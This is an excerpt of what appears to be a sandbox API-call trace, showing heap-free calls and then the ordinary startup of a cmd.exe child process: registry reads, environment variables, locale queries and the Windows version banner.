	[0189.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.831] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.832] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.832] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.832] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.832] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.832] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.833] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.833] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.833] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.833] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.833] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.833] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52e0050 | out: hHeap=0x610000) returned 1
	[0189.834] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.836] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.836] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.836] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.837] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44eff18 | out: hHeap=0x610000) returned 1
	[0189.837] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.837] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.837] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x44cafc0 | out: hHeap=0x610000) returned 1
	[0189.837] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5302068 | out: hHeap=0x610000) returned 1
	[0189.838] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.838] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.838] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.838] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.839] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.840] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1
	[0189.841] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x52d0048 | out: hHeap=0x610000) returned 1

Thread:
	id = 56
	os_tid = 0xe0c


Thread:
	id = 57
	os_tid = 0xe14


Thread:
	id = 58
	os_tid = 0xe18


Thread:
	id = 59
	os_tid = 0xe1c


Thread:
	id = 60
	os_tid = 0xe20


Thread:
	id = 61
	os_tid = 0xe24


Process:
	id = "7"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x34ebd000"
	os_pid = "0xd8c"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xd7c"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 33
	os_tid = 0xd90

	[0167.656] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff633140000
	[0167.656] __set_app_type (_Type=0x1) 
	[0167.656] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff633156d00) returned 0x0
	[0167.656] __getmainargs (in: _Argc=0x7ff633179200, _Argv=0x7ff633179208, _Env=0x7ff633179210, _DoWildCard=0, _StartInfo=0x7ff63317921c | out: _Argc=0x7ff633179200, _Argv=0x7ff633179208, _Env=0x7ff633179210) returned 0
	[0167.656] _onexit (_Func=0x7ff633157fd0) returned 0x7ff633157fd0
	[0167.656] _onexit (_Func=0x7ff633157fe0) returned 0x7ff633157fe0
	[0167.656] _onexit (_Func=0x7ff633157ff0) returned 0x7ff633157ff0
	[0167.657] _onexit (_Func=0x7ff633158000) returned 0x7ff633158000
	[0167.657] _onexit (_Func=0x7ff633158010) returned 0x7ff633158010
	[0167.657] _onexit (_Func=0x7ff633158020) returned 0x7ff633158020
	[0167.658] GetCurrentThreadId () returned 0xd90
	[0167.658] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd90) returned 0x70
	[0167.658] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffba9650000
	[0167.658] GetProcAddress (hModule=0x7ffba9650000, lpProcName="SetThreadUILanguage") returned 0x7ffba966a990
	[0167.658] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0168.001] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0168.001] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xb1e76ff888 | out: phkResult=0xb1e76ff888*=0x0) returned 0x2
	[0168.001] VirtualQuery (in: lpAddress=0xb1e76ff874, lpBuffer=0xb1e76ff7f0, dwLength=0x30 | out: lpBuffer=0xb1e76ff7f0*(BaseAddress=0xb1e76ff000, AllocationBase=0xb1e7600000, AllocationProtect=0x4, __alignment1=0xffffc980, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0168.001] VirtualQuery (in: lpAddress=0xb1e7600000, lpBuffer=0xb1e76ff7f0, dwLength=0x30 | out: lpBuffer=0xb1e76ff7f0*(BaseAddress=0xb1e7600000, AllocationBase=0xb1e7600000, AllocationProtect=0x4, __alignment1=0xffffc980, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0168.001] VirtualQuery (in: lpAddress=0xb1e7601000, lpBuffer=0xb1e76ff7f0, dwLength=0x30 | out: lpBuffer=0xb1e76ff7f0*(BaseAddress=0xb1e7601000, AllocationBase=0xb1e7600000, AllocationProtect=0x4, __alignment1=0xffffc980, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0168.001] VirtualQuery (in: lpAddress=0xb1e7604000, lpBuffer=0xb1e76ff7f0, dwLength=0x30 | out: lpBuffer=0xb1e76ff7f0*(BaseAddress=0xb1e7604000, AllocationBase=0xb1e7600000, AllocationProtect=0x4, __alignment1=0xffffc980, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0168.001] VirtualQuery (in: lpAddress=0xb1e7700000, lpBuffer=0xb1e76ff7f0, dwLength=0x30 | out: lpBuffer=0xb1e76ff7f0*(BaseAddress=0xb1e7700000, AllocationBase=0xb1e7700000, AllocationProtect=0x4, __alignment1=0xffffc980, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0168.002] GetConsoleOutputCP () returned 0x1b5
	[0168.482] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff63317fbb0 | out: lpCPInfo=0x7ff63317fbb0) returned 1
	[0168.482] SetConsoleCtrlHandler (HandlerRoutine=0x7ff633168150, Add=1) returned 1
	[0168.482] _get_osfhandle (_FileHandle=1) returned 0x254
	[0168.482] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff63317fc04 | out: lpMode=0x7ff63317fc04) returned 0
	[0168.483] _get_osfhandle (_FileHandle=0) returned 0x248
	[0168.483] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff63317fc00 | out: lpMode=0x7ff63317fc00) returned 0
	[0168.483] _get_osfhandle (_FileHandle=1) returned 0x254
	[0168.483] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0168.483] _get_osfhandle (_FileHandle=1) returned 0x254
	[0168.483] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff63317fc08 | out: lpMode=0x7ff63317fc08) returned 0
	[0168.483] _get_osfhandle (_FileHandle=0) returned 0x248
	[0168.483] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff63317fc0c | out: lpMode=0x7ff63317fc0c) returned 0
	[0168.483] GetEnvironmentStringsW () returned 0x2606afe5a40*
	[0168.484] GetProcessHeap () returned 0x2606afe0000
	[0168.484] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xab6) returned 0x2606afe6500
	[0168.484] FreeEnvironmentStringsA (penv="=") returned 1
	[0168.484] GetProcessHeap () returned 0x2606afe0000
	[0168.484] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x8) returned 0x2606afe5a40
	[0168.484] GetEnvironmentStringsW () returned 0x2606afe6fd0*
	[0168.484] GetProcessHeap () returned 0x2606afe0000
	[0168.484] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xab6) returned 0x2606afe7a90
	[0168.484] FreeEnvironmentStringsA (penv="=") returned 1
	[0168.485] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb1e76fe738 | out: phkResult=0xb1e76fe738*=0x7c) returned 0x0
	[0168.485] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x0, lpData=0xb1e76fe750*=0x4, lpcbData=0xb1e76fe734*=0x1000) returned 0x2
	[0168.485] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x1, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.485] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x0, lpData=0xb1e76fe750*=0x1, lpcbData=0xb1e76fe734*=0x1000) returned 0x2
	[0168.485] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x0, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.485] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x40, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.485] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x40, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.485] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x0, lpData=0xb1e76fe750*=0x40, lpcbData=0xb1e76fe734*=0x1000) returned 0x2
	[0168.485] RegCloseKey (hKey=0x7c) returned 0x0
	[0168.485] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xb1e76fe738 | out: phkResult=0xb1e76fe738*=0x7c) returned 0x0
	[0168.486] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x0, lpData=0xb1e76fe750*=0x40, lpcbData=0xb1e76fe734*=0x1000) returned 0x2
	[0168.486] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x1, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.486] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x0, lpData=0xb1e76fe750*=0x1, lpcbData=0xb1e76fe734*=0x1000) returned 0x2
	[0168.486] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x0, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.486] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x9, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.486] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x4, lpData=0xb1e76fe750*=0x9, lpcbData=0xb1e76fe734*=0x4) returned 0x0
	[0168.486] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xb1e76fe730, lpData=0xb1e76fe750, lpcbData=0xb1e76fe734*=0x1000 | out: lpType=0xb1e76fe730*=0x0, lpData=0xb1e76fe750*=0x9, lpcbData=0xb1e76fe734*=0x1000) returned 0x2
	[0168.486] RegCloseKey (hKey=0x7c) returned 0x0
	[0168.486] time (in: timer=0x0 | out: timer=0x0) returned 0x5d7067f3
	[0168.486] srand (_Seed=0x5d7067f3) 
	[0168.486] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0168.486] malloc (_Size=0x4000) returned 0x2606b2a5530
	[0168.487] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\""
	[0168.487] malloc (_Size=0xffce) returned 0x2606b0e0080
	[0168.487] ??_V@YAXPEAX@Z () returned 0x2606b0e0080
	[0168.489] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2606b0e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0168.489] malloc (_Size=0xffce) returned 0x2606b0f0060
	[0168.490] ??_V@YAXPEAX@Z () returned 0x2606b0f0060
	[0168.490] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2606b0f0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0168.491] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0168.491] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0168.491] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0168.491] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0168.491] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0168.491] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0168.491] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0168.492] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0168.492] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0168.492] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0168.492] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0168.492] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0168.492] GetProcessHeap () returned 0x2606afe0000
	[0168.492] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe6500) returned 1
	[0168.492] GetEnvironmentStringsW () returned 0x2606afe5a60*
	[0168.492] GetProcessHeap () returned 0x2606afe0000
	[0168.492] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xace) returned 0x2606afe6540
	[0168.492] FreeEnvironmentStringsA (penv="=") returned 1
	[0168.492] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0168.492] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff63317bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0168.492] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0168.492] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0168.493] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0168.493] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0168.493] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0168.493] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0168.493] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0168.493] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0168.493] malloc (_Size=0xffce) returned 0x2606b100040
	[0168.493] ??_V@YAXPEAX@Z () returned 0x2606b100040
	[0168.494] GetProcessHeap () returned 0x2606afe0000
	[0168.494] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x38) returned 0x2606afe8580
	[0168.494] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2606b100040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0168.494] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2606b100040, lpFilePart=0xb1e76ff2b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xb1e76ff2b0*="system32") returned 0x13
	[0168.495] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0168.495] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xb1e76fefe0 | out: lpFindFileData=0xb1e76fefe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x2606afe85c0
	[0168.495] FindClose (in: hFindFile=0x2606afe85c0 | out: hFindFile=0x2606afe85c0) returned 1
	[0168.495] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xb1e76fefe0 | out: lpFindFileData=0xb1e76fefe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x7c1a8384, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7c1a8384, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x2606afe85c0
	[0168.495] FindClose (in: hFindFile=0x2606afe85c0 | out: hFindFile=0x2606afe85c0) returned 1
	[0168.495] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0168.496] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0168.496] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0168.496] GetProcessHeap () returned 0x2606afe0000
	[0168.496] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe6540) returned 1
	[0168.496] GetEnvironmentStringsW () returned 0x2606afe5a60*
	[0168.496] GetProcessHeap () returned 0x2606afe0000
	[0168.496] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0xafe) returned 0x2606afe6570
	[0168.496] FreeEnvironmentStringsA (penv="=") returned 1
	[0168.496] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2606b0e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0168.496] GetProcessHeap () returned 0x2606afe0000
	[0168.496] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe8580) returned 1
	[0168.496] ??_V@YAXPEAX@Z () returned 0x1
	[0168.496] ??_V@YAXPEAX@Z () returned 0x1
	[0168.496] GetProcessHeap () returned 0x2606afe0000
	[0168.496] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x8, Size=0x4016) returned 0x2606afe8580
	[0168.497] GetProcessHeap () returned 0x2606afe0000
	[0168.497] RtlFreeHeap (HeapHandle=0x2606afe0000, Flags=0x0, BaseAddress=0x2606afe8580) returned 1
	[0168.497] GetConsoleOutputCP () returned 0x1b5
	[0168.841] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff63317fbb0 | out: lpCPInfo=0x7ff63317fbb0) returned 1
	[0168.841] GetUserDefaultLCID () returned 0x409
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff63317bb78, cchData=8 | out: lpLCData=":") returned 2
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xb1e76ff670, cchData=128 | out: lpLCData="0") returned 2
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xb1e76ff670, cchData=128 | out: lpLCData="0") returned 2
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xb1e76ff670, cchData=128 | out: lpLCData="1") returned 2
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff63317bb68, cchData=8 | out: lpLCData="/") returned 2
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff63317bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff63317bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff63317ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff63317ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff63317ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff63317b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0168.842] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff63317b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0168.843] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff63317bb58, cchData=8 | out: lpLCData=".") returned 2
	[0168.843] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff63317bb40, cchData=8 | out: lpLCData=",") returned 2
	[0168.843] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0168.845] GetProcessHeap () returned 0x2606afe0000
	[0168.845] RtlAllocateHeap (HeapHandle=0x2606afe0000, Flags=0x0, Size=0x20c) returned 0x2606afe70f0
	[0168.845] GetConsoleTitleW (in: lpConsoleTitle=0x2606afe70f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0169.118] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.118] GetFileType (hFile=0x254) returned 0x3
	[0169.119] ApiSetQueryApiSetPresence () returned 0x0
	[0169.119] ResolveDelayLoadedAPI () returned 0x7ffba421d990
	[0169.142] BrandingFormatString () returned 0x2606afe62f0
	[0169.153] GetVersion () returned 0x3ad7000a
	[0169.153] _vsnwprintf (in: _Buffer=0xb1e76ff7d0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xb1e76ff768 | out: _Buffer="10.0.15063") returned 10
	[0169.154] _get_osfhandle (_FileHandle=1) returned 0x254
	[0169.154] GetFileType (hFile=0x254) returned 0x3
	[0169.154] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff633187f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0169.154] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff633187f60, nSize=0x2000, Arguments=0xb1e76ff770 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0169.154] _get_osfhandle (_FileHandle=1) returned 0x254
